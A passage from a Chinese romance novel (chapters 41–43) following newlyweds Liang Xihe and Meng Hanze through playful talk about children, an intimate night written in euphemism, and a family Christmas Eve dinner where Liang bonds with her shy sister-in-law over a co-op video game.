“今天备了椰奶黑米燕窝粥,我让厨房送上来。”他说。 现在东楼和西楼不再各自为政,梅姐和阔姐有商有量,合作得极好,不用他俩操心,但每周的食谱孟翰泽会亲自过问,24小时不间断备着暖胃小食,以便梁奚禾饿的时候能马上吃到东西。 “嗯。” 梁奚禾放下手柄,环保住他的腰,往他怀里拱了拱。 等吃的间隙,她想到刚刚游戏的剧情,问道:“孟翰泽,以后我们也会吵架吗?” ……最近太过如胶似漆,她差点忘了不久的曾经两人之间早就发生过冲突。 当然,那些算是她单方面对他的指摘。 梁奚禾轻咳了一声,非常理性客观地补充,“我是说,要是以后我再朝你发脾气,你会反弹回来吗?” 就像男主角一样,那种把他所有的不顺利都归咎于女主,离开她,他就一定会过得很好的架势。 孟翰泽没有犹豫:“你不会无缘无故地发脾气,如果哪天不开心了,一定有你的理由。 “我会找出那个理由。” 梁奚禾满意地笑了。 孟翰泽低头看她,亮晶晶的葡萄眼分外明亮,他没忍住,凑近啄了一记她的嘴唇。 梁奚禾被哄得开心,很是乐意迎合,甚至主动启唇邀约。 门铃响起,孟翰泽准备离开时,她还扣住他的脖颈儿不许。 他安抚似的重重地吮吸了一下,然后退开少许:“我去开门,先吃东西。” 天大地大,她吃饭最大,知道这件事上没什么商量,梁奚禾乖乖放行。 坐到岛台边吃甜汤,他原本几乎是不吃夜宵的,尤其是这种甜食,现在怕她无聊,也会陪着一起喝两口。 梁奚禾吃得慢,也在平复刚刚闯关的激动劲儿,慢悠悠地想到什么,突然说道:“以我们的关系,好像也没什么好吵架的。” 佛曰,由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖。毕竟他们只是从床上到床下的合作关系,对彼此没有约定以外的苛求,就不大会有什么冲突啦。 只是,她想到一个例外的时候。 “就是以后,万一我们有了孩子,我疏懒,你勤勉,到时候免不了要为教育问题吵架吧。” 梁奚禾沉浸在自己的想象里,那种他要鸡娃,而她护着犊子的对峙场面,没留意到孟翰泽握着汤匙的手顿了顿。 既然说到了这里,她干脆提前给他打预防针,“我很能接受自己是个普通人的,所以也能接受我的孩子是个普通人,你以后绝对不能跟我妈妈一样,恨不得拔苗助长。” 孟翰泽放下汤匙,抽了张纸擦拭了嘴唇,看着她,眼底满是笑意。 “老婆。”他冷不丁地开口。 “……”梁奚禾愣了愣,迟钝地给出反应,“嗯?” 他双手搁在大理石台面上,倾身向前靠近她,笑道:“所以,你做好准备要孩子了吗?” 梁奚禾脸色一变:“……没有。” 她心跳乱了两拍,才意识到自己发散的思维发散到了什么严重的话题上。 “我,没说要孩子啊。 “就是,这件事,在很远的将来,总有一天要做的嘛…… “当然哪天如果你打算离婚的话……” 人在尴尬的时候就会特别忙乱,此刻梁奚禾就非同寻常地语速飞快,不过被孟翰泽打断了。 “不会离婚。”他十分笃定地说道,“禾苗,我会很珍惜我们的婚姻。” 他的黑眸本就深邃,总是带着上位者的笃定的那种深不可测,就算是此刻他将情意毫不掩饰地释放,梁奚禾还是觉得这双眸子认真的时候,令人招架不住。 梁奚禾避开他的视线,埋头喝糖水,恨不得咬掉自己的舌头。 好端端的,一个轻松愉快的夜晚,她没事提什么生孩子,提什么婚姻问题,按部就班照执行合同条款多好啊。 但是人家这么表态了,她也只能瓮声瓮气地硬着头皮回了一句:“嗯。” 孟翰泽要是还想听到点别的什么,那就没有了。 梁奚禾胡乱地又吃了两口:“我去刷牙了。”起身去了楼上。 孟翰泽知道她不喜欢这个话题,也就识相地点到即止。餐具留着工人收拾,他自去整理游戏本和手柄。 等他上楼,洗漱完毕,回到主卧,梁奚禾正趴在床上刷手机。 孟翰泽看她两眼,怕是为了拒绝他又一次的试图靠近,她在故意拉开距离。他嘴角含着无奈的笑意,掀开了被子。 谁知,他人刚坐到床上,她丢开了手机,直接趴到了他的胸口。 “孟翰泽。” 葡萄眼盈盈。 “嗯?” 他将人抱到身上。做的时候,不做的时候,她都喜欢在上面,他也喜欢怀里沉甸甸的感觉,让人分外安心。 梁奚禾伸出食指,从他的耳垂沿着下颌线往下轻抚。 “我觉得我们磨合得不错,你觉得呢?” 怕他不懂似的,她故意蹭了蹭。 原本打算今晚放她休养生息的孟翰泽:“……” 她还在等回答,他忍了忍,咳了一声,“是不错。” 梁奚禾眼睛一亮:“既然我们都觉得不错,那就多享受几年,不要太早要小孩,好吗?” 她的手不太客气地沿着下巴、脖子、胸膛、腹肌,一路向下而去…… 这话虽然讲得很客气,似乎是尊重他的想法询问他的意见,然后手握他的把柄时,葡萄眼里明晃晃的算计孟翰泽看得分明。 “……”他无奈地叹口气,“你想什么时候要孩子就什么时候要,都听你的……” 梁奚禾听得满意,手上越发殷勤。 孟翰泽不由自主地闷哼一声,一句话说得有些磕磕绊绊,“你,怎么会觉得我着急要孩子?” 梁奚禾挑眉:“不急吗?你御景湾的房子不是儿童房都规划好了?我还以为你年纪大了,比较着急来着。” 40-50 第41章 孟翰泽极力忽略掉那句“年纪大”,只认真回答儿童房的问题。 “留了儿童房,的空间,至于启用的,时间,都看你的。” 梁奚禾故意使坏,手上一会儿紧一会儿松,时而快时而慢,他几乎是耗尽全力才能稳住声线,即便如此,一句话还是说得七零八落的。 她却气定神闲,像是得到了一个全新的玩具,随心所欲地把玩着,思维全然不在这上头。 “你多大来着?” 梁奚禾眉头一皱,突然想到这个问题。 烈火烹身中的孟翰泽如当头被浇下一盆凉水,凝滞了片刻。 手中握感变化,她的注意力被吸引过去,明明看不到什么,还是下意识地低了低头,狐疑地问:“你,这么快?” 连连被扎心的孟翰泽:“……” 刹那间,他猛地翻身,抢占了上风位置,一手握着她的腰,用了几分力。 “老婆。” 他声线低低的,眼神也沉了几分。 一阵天旋地转的梁奚禾还在适应视角的颠倒,没好气地回了一句:“干嘛?” 看着她像不满地皱起眉头,双颊微鼓,刺豚似的,完全戳中他的审美和萌点。 片刻后,孟翰泽无可奈何地叹了口气,俯首去亲吻她。 梁奚禾被压制得无法动弹,还能活动的双手顺势揪住了他睡衣的衣领,揪得紧紧的,让他想退开多些都不可能。她一边享受他柔软的唇舌,一边用这种方式宣誓着自己的主导地位。 孟翰泽似是跟她比拼耐心,又像是故意磨着她,不疾不徐地轻吻,尽管她已经感知到他的箭在弦上,他却始终没有不得不发的迹象。 久到,梁奚禾开始不专心地想,不会是因为她刚刚质疑他的时长吧。 她无路可退,只能松开他的领子,摸索着去找扣子,这扣子却没那么好解,尝试了两次没成功,梁奚禾没了耐心,一手揪住一边,用力地一扯。 没扯开。 梁奚禾:“……” 她的这番小动作自然全数落在孟翰泽的眼里,他一把擒住了她的手腕,微微抬起上身,薄唇还带着一抹晶亮。 “我来。” 顶着她饱含控诉的眼神,他直接反手褪去了皱褶得不忍直视的上衣,露出了好看的线条。 情动之中的梁奚禾揩油了一把后,去扯被他压住的睡裙下摆,孟翰泽配合地侧过身,谁知道这一下又惹她“怨念”了。 “你直接上手撕多好。” 孟翰泽:“……”缓缓打出一个问号。 她伸出食指戳戳他的胸口,半长的指甲刮在肌肤上,有点凌厉。 “孟总,你在床上都这么温文尔雅,怎么取悦老婆?” 话锋也很是凌厉。 孟翰泽:“……” 如果他不是跟她一起从新手村出来,她这副调教人的样子确实是像行家里手,很是能唬住人。 只是两人是半斤对八两,五十步笑百步罢了。 他丝毫没被pua,依然耐心地丈量着他的领地,逢幽深之处更是小心谨慎,得寸才进尺。 梁奚禾欲哭无泪,被他箍在怀里,啃了一口他的耳垂,挠了一爪他的后背,都只能在浅滩之处跋涉,前进不了,后退不得,像一尾搁浅的鱼。 直到……她咬在他的肩膀:“你能不能快一点啊?” 耳边是他的呼吸和低沉的声音。 “不是嫌我太快?” 果然! 他就是故意的! 梁奚禾恼羞成怒,恶狠狠地又咬了一口,嘴里故意毫不饶他。 “年纪大了,时长快就算了,速度也快不起来了吗?” 还特意重重地哼了一声。 孟翰泽:“……” 事后,像纸鹤那般被翻来折去的梁奚禾,迷迷糊糊中开始第一次正视这男人的小心眼。 孟翰泽帮她细心清理,临睡前终于忍不住问:“真的觉得我年纪太大了吗?” 梁奚禾困顿到不行,也没敷衍,耷拉着眼皮,诚心请教:“所以,你多大了?” 见过他的简历,结婚证上也有生日,但这会儿她真的想不起来那串数字。 怀里的人很快阖眼陷入熟睡,孟翰泽却一时没有睡意,熄了灯后,大掌不由自主地轻抚她的后背哄睡,他在小夜灯微弱的光线里,独自回味着圆满的夜晚。 不,也不是最圆满。 他是贪心的,仍然奢望着她的心和关注。 希望有一天,不仅是他的生日,有关于他们之间所有的纪念日、发生的点点滴滴,都能被放进她的心里。 也希望有一天,他们会有孩子,那时候她不仅爱孩子,还爱孩子的父亲。 平安夜,姚以涵终于见到了传说中的嫂子。 这段时间,她过得极为焦灼,收获了一个新的家人,好想见见啊! 后来哥哥也拉了群,她的好奇心终于聊胜于无地得到一丁点满足。看头像,应该是嫂嫂滑雪时候的装备,喜欢滑雪,好酷啊。 从前他们家是没有群的,现在终于成立了家庭群,姚以涵兴奋到不行,就是群里没有爸爸有点缺憾。但是其他人都没有要拉姚德平进来的意思,她也不敢多提。 这是她的列表,她的人生里最重要的群了,她将对话框设置了置顶。 可惜除了建群第一天,大家寒暄了两句,发了两个表情包后,群里再也没什么动静。 姚以涵能理解,妈妈鲜少跟她打字闲聊,有事喜欢打电话,而哥哥是话少,不见面时会用微信联系,但总体算下来,聊得也不算多。 但她不确定新嫂嫂是属于哪一种,所以几次想拉扯起话题,犹豫后又作罢,就连发起好友申请都纠结着,生怕自己打扰了对方。 总算可以回家见到真人了! 平安夜是工作日,说好回满觉院吃晚饭的,梁奚禾知道要见到小姑子也早早地做了准备。一件巴宝莉经典的长款风衣,一个黑金配色的爱马仕constance,一对江户切子清墨色的星芒杯,还有一整套布契拉提的blossoms系列首饰。 这是梁奚禾跟梅姐抓着阔姐参谋之后列出来的见面礼清单。 孟淑慧不像奚云岚,不会用大牌去填充女儿的衣帽间,生活里更不会有奢侈品堆叠,所以阔姐建议梁奚禾可以送一些姚以涵喜欢的娃娃呀盲盒呀之类的。 但梁奚禾觉得这些是一起逛街随手买给妹妹的小玩意儿,哪里能当第一次见面的见面礼呢? 两厢折中,才选的这些实用,价格上也拿得出手的礼物。 见面当天,下班后她坐孟翰泽的车回的御景湾,进门时,礼物全都由他拎着,她期待地问来开门的章姨:“妹妹呢?” 章姨笑着侧身:“涵涵等你们很久啦。” 梁奚禾这才看到,章姨身后不远处,玄关的墙角处有道人影,似乎有些怕生,听到她问话才迈步走过来,细声细气地喊了一句“嫂嫂”。 “你好呀涵涵。” 梁奚禾没有妹妹,身边的人,从雷迪到梅姐,全都是年长几岁的姐姐,她对这样柔柔弱弱的小女孩完全没有招架能力,顿时连声音都放轻柔了几分。 她指挥着孟翰泽将礼物递过去。 “这些都是照着我的喜好挑的,希望你喜欢。” 姚以涵抬眼,飞快地看了看哥哥,然后抿唇笑着道谢,将礼物接过来后,侧身让过:“嫂嫂快请进。” 这番乖巧柔顺的模样惹得梁奚禾又怜爱了一番,她挽上了人家的胳膊:“走,吃饭去。” 饭桌上,原本想着怎么招待嫂嫂的姚以涵,觉得自己才像客人。 哥哥就不用说了,妈妈的注意力也都放在嫂嫂身上,从前他们讲究食不言,虽然现在话也不多,可从身体到工作,妈妈对嫂嫂几乎是该关心的都关心到了。 她有点惊讶。 晚饭的氛围是从所未有的温馨,氤氲的热气、饭菜的香气里,她垂首吃菜,眼眶似乎发着热。 可惜,这种她期待已久的家的感觉并没有维持太久。 吃到一半时,姚德平来了,他大剌剌地坐下来,添了一副碗筷。 孟淑慧又恢复了疏离,孟翰泽一如既往地平静,只偶尔给梁奚禾夹菜,梁奚禾则对来人视而不见,专心吃自己的。 姚以涵默不作声地察言观色,扒拉着饭粒。 姚德平说是听说她回家,特意来陪她吃团圆饭的,姚以涵觉得自己这会儿应该感动才对,可莫名觉得有点多余是怎么回事。她为自己有这种感觉,又觉得抱歉和内疚。 梁奚禾抬手夹菜的时候,分了个眼神给姚德平。 他住院后,她没去问候和探望,孟家这边没人提,梁家那边该有的礼数都由梁董和奚总去尽。所以,这还是事发后梁奚禾第一次见到这人,也是才知道他前段时间已经出院了。 她知道孟翰泽还在主持孟氏的工作,这就奇怪了,姚德平既然已经出院,怎么不回公司? 姚德平跟姚以涵说了两句话,没急着吃饭,扫了一眼菜色后,招呼章姨:“医生让我出院以后吃得清淡一点,叫厨房再上几个蔬菜,盐不要放太多,更不要放辣。” 哟呵,养生了啊。 梁奚禾瞅了他两眼,好像是比之前见到瘦了一些。 他话说完,孟淑慧和孟翰泽没什么反应,倒是姚以涵惊讶地问道:“爸爸,您住院了?” 家里都还当她是小孩,没人把事情告诉她,姚德平也没在意,这会儿她追问,他也只是粗略地回答了她几句。 姚以涵担心不已:“肺炎可大可小,您以后可要戒烟啊。” 本来这次落水,肺部不会有那么严重的问题,但姚德平是老烟枪,本身就已经快发展成慢阻肺了。 “知道了,我会遵医嘱,好好养着的。” 姚德平说的是真心话,他这一生,前半辈子逐利,后半辈子求名,如今总算名利双收,还没好好享受呢,不能身体先垮了。 于是,他对孟翰泽说道:“公司的事,你继续打理着,有事报我。” 又对孟淑慧说,“老樊给我找了一个气功大师,这段时间每天带我练气,我觉得舒服很多。御景湾这里空气好,握准备搬过来住。” 梁奚禾眉头一皱,姚以涵却眼睛一亮,父母已经十五年没有住在一块儿了。 两人齐齐地看向孟淑慧,唯有孟翰泽垂眸不语。 孟淑慧掀起眼皮,不咸不淡地开口。 “御景湾鸡犬相闻,满觉院佛香缭绕,你能住得惯?” 姚德平当年以归田园居的理念开发这里,凭的是市场嗅觉,他本人对这种环境实际并不感冒,听她这么一说马上打消了念头。 姚以涵的眸子暗淡了下去,梁奚禾却笑了。 没想到这人经此一事,倒有了古代皇帝寻仙问药求长生的意思。 她啜着汤水,葡萄眼亮晶晶的闪着不善的光芒。 “哎呀。” 她突然开口,几人看了过来。 迎着大家的视线,梁奚禾指了指其中一道菜,状似关切地对姚德平说:“我想起来,白果有毒,尤其对肺不好,您刚刚吃了这么多,会不会有事呀?” 姚德平变了脸色。 第42章 孟淑慧放下碗筷,交代孟翰泽:“让医生来看看。” 孟翰泽从善如流地掏出手机打电话,然后对姚德平说:“还是回市区吧,如果觉得不舒服去医院也方便,我让凌叔送您。” 姚德平出院后一直住在邵姗姗那里,尽管很是舍不得二房的温柔小意,但市中心的别墅区哪怕绿化做得再精致考究,也难以跟雪霁山这里纯正的山林氧吧比。 他这段时间还是一直打算着搬来御景湾住,今晚来了就没想走,所以刚刚一下车就让司机回去了,这会儿只能接受孟翰泽的安排。 担心白果这玩意儿真的会伤他宝贝的肺叶,他的脸色不太好看,但看到全家人紧张地为他张罗,心里又十分熨帖。 这么多年,他在大房这里一直得不到好脸色,这次生病倒是得到了妻子儿女的关心,真所谓患难见真情了。 尤其新娶进门的儿媳,不像女儿那般不善言辞,叽叽喳喳的,更是让满觉院这里多了些活气,让他也久违地想起了很久很久以前一家四口在饭桌上说说笑笑的时光。 叽叽喳喳的梁奚禾正在“批评”章姨,一脸的严肃。 “厨房经手大家入口的东西,怎么能只懂油盐酱醋呢?给他们找个中医好好上上课,以后食材搭配都要更讲究一些。” 姚德平穿好了外套,看到这一幕,满意地点头,惦记着自己身体的反应,又脚步匆匆地出门。 姚以涵紧张地送他出去,孟翰泽不紧不慢地跟在后面。 孟淑慧没动,等人一走,指示章姨:“给禾苗换一碗热汤。” 瘟神送走,梁奚禾心情大好:“章姨,多盛两块排骨吧。” 刚刚她是怕姚德平迁怒厨房,所以才提前“发难”的,章姨是孟家的老人了,听了秒懂其中的弯弯绕绕,该惶恐时作惶恐状,这会儿又恢复了笑容满面:“不能光吃肉,禾苗也要多吃点蔬菜。” 姚以涵兄妹俩回来时,孟淑慧正在与梁奚禾说笑,不复刚才冷冰冰的模样。 “我们禾苗刚刚训起人来的样子,很是有一家主母的风范呢。” 孟翰泽朝老婆看了一眼,眼底也满是笑意。 她不光是架势足,心眼子也多得很,一句话就将姚德平吓走了,临走竟然还念着她的好。 姚以涵心思单纯,看到妈妈和哥哥都笑得轻松自在,担心才少了几分。 “哥,爸爸住院这么大的事,你怎么不告诉我呀?我都没回来看他。” 孟翰泽抬眸:“请了不少专家医生会诊,问题不大,不想你担心。” 孟淑慧也道:“你回来也帮不上什么忙,还是专心学习吧。” “哦……” 姚以涵埋头夹了一粒米饭,心不在焉地送入口中。 梁奚禾看看她,心里的怜惜之情更甚。 小姑娘还在渴望一个完整的家,可这个家早就名存实亡了。 她想了想,问道:“涵涵,晚上我们一起打游戏吧?” 对于无解的问题最好的办法不是解决它,而是放下它,梁奚禾向来都是这样,能不内耗就不内耗,也想就此转移姚以涵的注意力,做点开心的事。 跟嫂嫂毕竟还不熟,从来没玩过什么游戏的姚以涵下意识地想拒绝,又不好直接开口,迂回地说:“什么游戏啊?我不太会玩……” 梁奚禾笑了:“没事没事,我也是菜鸟一只。最近我跟你哥哥在玩一款双人游戏,很有意思的。” 说着转头问孟翰泽,“装备带了吗?” 孟翰泽沉默了两秒,颇有点郁闷地答道:“带了。” 山里无聊,他不会忘记带上她正上头着的消遣,但没有想到的是,她这就物色了新的玩伴,一脚踹开了他。 孟淑慧默默地吃着饭,眼神在小夫妻二人身上游移,品出了一点意思,抿唇笑着。 姚以涵紧张地捋了捋滑下来的发丝:“那,那我试试吧?” 梁奚禾哈哈一笑:“你压力别这么大啊,游戏而已,过不了关也没什么大不了的。” 孟翰泽瞥了她一眼,无语,也不知道是谁跳不过去转盘的时候,差点要把手柄砸了。 饭后,三个小的亲亲热热地告退,孟淑慧在屋子里,由章姨陪着绕圈消食。 章姨不知两人结婚的始末,但也看出来跟以往很是不同,笑道:“真没想到翰泽这么紧张老婆呢。” 吃饭的时候几乎是盯着老婆的碗,惦记着给人夹菜,出门的时候去给老婆拿外套,动作比她惯会伺候的人还快。 小两口处得好,孟淑慧也喜气洋洋的:“有些缘分还真是天注定的,人算还算不到呢。” 哪里能想到她会跟梁家成了亲家? 说话间,孟淑慧放在边几上的手机响了起来,章姨走过去拿起来,敛了笑意:“是姑太太。” 今晚扫兴的人一个接着一个,孟淑慧恢复了冷淡神色,伸出手去接:“给我吧。” 姚德容声音极为响亮:“嫂子,我来是问问今年咱们家办不办贺岁晚宴了?年年有人问,年年你都不办,今年新媳妇进门了,喏,又有人问到我跟前来了。” 孟淑慧眼神又冷了许多。 老爷子在世的时候,受人敬仰,逢年过节就有许多人来孟家拜会,尤其是新年,前来拜年的人简直络绎不绝。盛情难却,老爷子虽不喜,也不能将客人拒在门外,于是就选在元旦前后办一次晚宴,将这些生意伙伴、朋友、后辈一股脑儿地请到一处聚聚。 孟家的贺岁晚宴曾经是宁市的盛事,但自她避世后就暂停了。 姚德容对孟翰泽不声不响结了婚这件事颇有意见,姚德平没说什么,她不好明着指摘,又咽不下这口气。他们不提前通气,害得她答应了别人牵线,梁孟联姻传出来后,她很是没脸。 现在外面的人都说什么?说她大哥入赘,她一个姓姚的,哪里能在孟家说得上话? 姚德容不甘心,有意要借着这贺岁晚宴掰回一城,说道:“嫂子,我是为了你好,二房那位可不是省油的灯,如今儿子大学快毕业了,她正处心积虑张罗着办什么毕业派对呢。司马昭之心,路人皆知,你还不紧张?” 要是真为她着想,又怎么会堂而皇之地称呼外面的人“二房”呢? 孟淑慧已经不会为姚家的人动气,也觉得没必要计较这种蝇头小事上争个口舌之快。 姚德容没听到她回答,默认她心里难受又不知道该怎么办,状似善解人意地继续说道,“知道你不愿意出面,这样吧,那就由我这个做小姑子的帮你排忧解难。今年咱们家啊就重新办这个贺岁晚饭,到时候高朋满座,就由我来替嫂子招待。” 孟淑慧笑了,这才慢条斯理地开口。 “孟家确实多年没有好好热闹过了。” 姚德容心下一喜,以为她答应了,马上顺杆儿往上爬:“那我找谁去支取预算?” 谁知,听到孟淑慧沉静的声音:“孟家的事怎好劳烦你?” 姚德容脸一沉:“什么意思?” 孟淑慧:“明年翰泽的婚礼不容有失,我也该给底下的人练练兵了。谁要是再问到你跟前,你就掂量着回吧,邀请名单我得梳理梳理。” 结束通话的时候,姚德容的脸色比不小心吞了苍蝇还难看。 如意算盘没打响不说,只得了一句要办晚宴的准话,和一个不确定的名单。外面的人要是知道她连孟家的宴客名单都不知道,这往后她还怎么做人? 当下气急,给大哥的秘书去了电话,让他给报一个旅行团,她要出去躲到贺岁晚宴前再回来。 姚以涵的小院里,梁奚禾正在随着她参观小姑娘的闺房。 房间里没有锦衣华服,也没有珠宝首饰,书房已经有了一面墙的书架,卧室这里还有一个小书架,都是书,梁奚禾随便扫过去,文学、社科类书籍不一而足。 书本的间隙安放着一个个小手办,有那种Q版的,也有二次元风格的。 还是阔姐了解啊,原来涵涵真喜欢这些小玩意儿。 姚以涵将嫂嫂送的礼物妥帖地放到衣帽间,出来见她盯着自己的收藏看,感到一丝赧然:“嫂嫂见笑了,我是不是有点玩物丧志啊?” 她也知道那些大几十甚至上百块的盲盒本质上不值那些钱,就是抵挡不住可爱的攻击,零花钱几乎都花在这上面了。 梁奚禾对她的“妄自菲薄”感到惊讶:“怎么会?”笑道,“论玩物丧志还没人比得过我,你问问你哥哥,我绝对是咸鱼中的咸鱼。” 姚以涵目睹过她的跑车被封起来,于是也笑起来。原以为新嫂嫂是脾气很爆的那种性格,没想到这么好相处,她放松下来。 孟翰泽在客厅帮她们把游戏投到大屏幕上,然后准备回自己院子加班,临走前交代梁奚禾:“玩一会儿就起来走走,眼睛和颈椎都要注意休息。” 梁奚禾:“哦。” “不要玩得太晚,早点回来。” “哦。” 他注意到一旁妹妹变得无措,知道她一直想跟新嫂子亲近,听他这么说估计说担心自己占用了嫂子太多时间。 孟翰泽又特意补充:“不是说前几次玩太久游戏,梦里都在打怪闯关吗?那睡前一小时,你们做点舒缓的事放松大脑。” 姚以涵这才笑起来:“哥哥放心吧,我们会注意的。” 梁奚禾则十分不耐地赶他,一双葡萄眼假笑着。 “知道啦,我的大脑已经被迫安装了你的中老年防沉迷系统,到点会自动下线的。” 孟翰泽:“……” 第43章 一个人刚开始玩游戏的时候,风格很能看出性格,比如“赶路”时,梁奚禾就会连连摁着冲刺键,她控制的男主角色像个雪团似的不断滚动前进,将姚以涵控制的按部就班往前跑的女主遥遥地甩在后面。 要是孟翰泽,梁奚禾就要催他去探路了,现在换作妹妹,她自觉承担了斥候的角色,找路找机关,等柔弱的妹妹来到跟前时,她早就“以身试法”摸索出了过关的诀窍。 但这关,梁奚禾着实不知道该怎么过了,她摸着下巴,头秃道:“涵涵,得靠你了。” “啊?哦,好。” 姚以涵其实一直把自己当成陪玩的角色,嫂嫂指哪儿,她打哪儿,这会儿嫂嫂突然发话,她不由地正襟危坐,飞速开动小脑筋思索起来。 这关有一个高台,高度太高,凭操作跳跃是跳不上去的,那就得利用台下的跷跷板,但刚刚试过了,如果嫂嫂把她弹上去,那嫂嫂就没办法上来了。 这关她俩都有金手指,她拥有一双反重力鞋,不过这里没有反重力坡道,她这鞋子毫无用武之地,那么就应该是嫂嫂变大变小的技能发挥作用。 姚以涵飞速厘清了思绪:“嫂嫂,我把你弹上去,你变大变小试试。” 梁奚禾:“好。” 照着姚以涵说的,梁奚禾很帅气地跳上高台,然后一鼓作气变成了一个巨人,这时就看到她脚下的高台,像办公室的转椅那般降了下去。 高度降低,姚以涵一个跳跃便轻松地飞身上来,梁奚禾大喜,马上缩小了身躯,重量减少,高台立马回升,她俩顺利地找到了前行的道路。 梁奚禾松开手柄,伸出了右手,姚以涵反应了一下才与她击掌。 “涵涵你好聪明啊!真棒!” 梁奚禾刚刚只想到在跷跷板上变大,利用体重优势将姚以涵弹得高一点,思维定势了。 姚以涵有点不好意思,这种夸奖的话只有在很小的时候才听父母讲过,慢慢长大后,虽然他们和哥哥也都有给予她肯定,但说的都是“表现不错”、“再接再厉”等极为克制的语言。 嫂嫂性格直率,表达也直接,姚以涵尽管还不知道如何应对,只能慌乱地笑笑。 但是,感觉挺好的。 她默默地看了一眼又专心探路的梁奚禾,唇角无声地翘起。 冬日里,新收获的家人,就像家里新添的一道阳光。 暖融融的,感觉真的挺好的。 接下来,为了增加妹妹的参与感和游戏体验,梁奚禾特意找她商量这儿怎么走、那儿怎么过,然后就发现孟家兄妹俩还挺像的,都属于人“狠”话不多的那种,所谓“狠”并不是指凶狠,而是观察能力极为犀利。 再后来,她就后撤了,既然涵涵同学这么聪明靠谱,她美美躺平当个跟随者。 姚以涵肩负着嫂嫂的信任,打起精神用满了九成的注意力认真地破局,剩下一成的注意力则放在时间上。 哥哥说了,睡前一小时要让嫂嫂休息,她知道哥哥一向习惯早睡。 播放剧情动画的间隙,姚以涵犹豫了一下,说道:“嫂嫂,我们还能再玩半个小时,下面的关卡能过完吗?” 来不及的话,她想是不是就不进下一关了? 梁奚禾觉得奇怪:“为什么只能玩半个小时?你困啦?” 完全把孟翰泽的交代忘到九霄云外去了。 姚以涵小声:“你们十点睡觉,那九点之前我们就得结束……” “十点?”梁奚禾惊讶,“谁说我们十点就要睡觉?” 姚以涵声音更小了:“我记得,哥哥以前都是十点睡的……” 梁奚禾:“没有吧。” 他哪里十点之前睡过了? 如果两人打完这个双人游戏,差不多十点上床的话,也还有另外一个双人游戏要玩……而后者,对她来说,一关刚刚好,可每次他都要再来一关。 梁奚禾对此是有意见的,他来来去去就那几个姿势,一天一种能轮一周不重样,一天两种那三天就重复了,她没什么新鲜感,并不想这么勤快。 对上姚以涵纯真无邪的眼神,梁奚禾猛地意识到自己的思绪竟然发散到那里去了。 她轻咳了一声掩饰自己的走神。 “没事儿,没有十点这个说法,我们可以玩得再尽兴一点,你累了就跟我说。” 姚以涵不着痕迹地松开了咬着的内嘴唇,刚刚有点担心嫂嫂怪自己管太多。 她开心起来,兴奋地点点头:“我不累,我们继续!” 她其实还挺喜欢这个游戏的,有点解谜的乐趣,而跟嫂嫂玩就更有意思了,嫂嫂总是时不时地在夸她,有时候兴奋起来,还过来揉揉她的肩膀和手臂。 她猜自己上辈子可能是一只宠物猫,特别喜欢被主人rua的那种。 孟翰泽如今一人独挑大梁,工作量几乎是从前的两倍,但自从同房后,梁奚禾每天都留在西楼过夜,他下班后的安排都是以老婆为先,陪吃,陪玩,陪睡。 等她睡着后,他才有自己的时间,轻手轻脚地起床去书房加班。三陪需要体力,熬夜加班也需要精力,身体的劳累当然更甚从前,可他乐此不疲。 没有比把她圈在怀里更幸福的了,就算她皱着鼻子嫌弃他,他也觉得其乐无穷。 今天久违地在十点之前就结束了工作。 孟翰泽做了两下扩胸运动,放松了肩颈后,起身去拿外套,准备接老婆去。 出了门,迎面而来一股强冷空气,山里日夜温差大,这会儿估计得有零下了,他又折回去拿前些天让阔姐给梁奚禾新备下的长款鹅绒服。 从无远弗届往姚以涵的院子走,不过短短一百多米,他的步子却迈得极大,像是迫不及待似的。 最近这段时间,每天深夜看完工作邮件,他回到房间时被窝里都是满满的温热,听着她清浅的呼吸,闻到她身上清新的香气,他总会感觉到一种难以言说的圆满。 是想到孟氏还没彻底握到他的手上、他从前的人生目标还没有完全实现,也不会撼动的那种圆满。 因为那是他身为孟家长子的责任感,是对祖父和母亲的责任感,而就私心而言,他三十年来突然有所渴求,也不过就是这一株禾苗而已。 在一个普普通通的深秋,她就像初见时法拉利冲上坡道似的,气势汹汹地出现在他的生活里。 他想过自己如多年冻土一般的生活,会因为这样一道利箭而有所不同,但也只敢期待着有道能透点光的裂隙而已。 谁曾想,他会如此贪婪地渴求更多,努力让坚冰融化,希望能让禾苗扎根,更期待着自己能给予禾苗润泽,有一天还会有小禾苗的出现…… 他脚步匆匆,朝夕相伴许久时日,只分开一晚上,突然让人不太适应,一路多愁善感地想了这许多。 姚以涵来开门的时候,就发现了哥哥的脸色似乎有点不太自然,她马上“坦白从宽”:“我们刚刚结束,好像是有点晚了……” 梁奚禾取了玄关处衣柜里的外套,笑道:“涵涵,你怎么一副老鼠见了猫的样子?你哥哥以前对你很凶的吗?你告诉我,以后我替你出气。” 姚以涵听了赶忙摆手:“没有没有,哥哥不凶的……” 她突然紧张,生怕嫂嫂误会哥哥脾气不好。 梁奚禾:“……” 有点哭笑不得。 见她拿了外套要穿,孟翰泽侧身绕过姚以涵进门,把带来的衣服递过去:“穿这件,这会儿外面很冷。” 梁奚禾没接,一边大剌剌地张开了双臂,一边继续找姚以涵说话。 “明天周六,上午睡个懒觉,下午我们继续啊?” 孟翰泽一看这架势,非常自觉地将她原来的外套挂在胳膊上,随后抖开长款鹅绒服,伺候着老婆穿衣服。 姚以涵第一时间没顾上回答嫂嫂的话,眼神全都落在哥哥身上,就见他半蹲下来将拉链扣好、拉上,十分细致地帮嫂嫂穿好了外套。 梁奚禾缩回手臂,双手插进口袋里,笑盈盈地又问:“明天还想玩不?” 姚以涵才回过神:“好啊。” 孟翰泽这才开口,眼神喜怒莫辨:“老盯着屏幕打游戏对眼睛不好,明天天气不错,我们下午安排户外活动。” 姚以涵看看哥哥,又下意识地去看嫂嫂。 梁奚禾人菜瘾大却爱惜自己的眼睛,马上说:“那好吧,我们晚上再约。” 姚以涵又乖顺地答应下来,跟他们说拜拜,目送两人一段,她准备关门。 临关门时,兄嫂夫妇二人将将走到院门处,姚以涵惊讶地看到,哥哥伸出手将嫂嫂的手从她自己的口袋里牵出来,握着一起放到他的外套口袋。 她愣在原地。 这种两人相携而行的背影,过往这么多年,她只是于街角巷口处,在无数个陌生人那里看到,曾经无比期待父母会这样重归于好。 可当看到邵姗姗挽着姚德平的背影时,她知道自己的期待是一种奢望罢了。 姚以涵垂过头,冷风一吹,眼睛有了些泪意。 她想,自己期许的也许只是家人的幸福罢了,那么如今哥哥找到了幸福,她的愿望也算是实现了一大半。 就是不知道,怎么才能让妈妈觉得幸福呢? 同一轮明月下,在思考家庭幸福这一命题的还有姚德平。 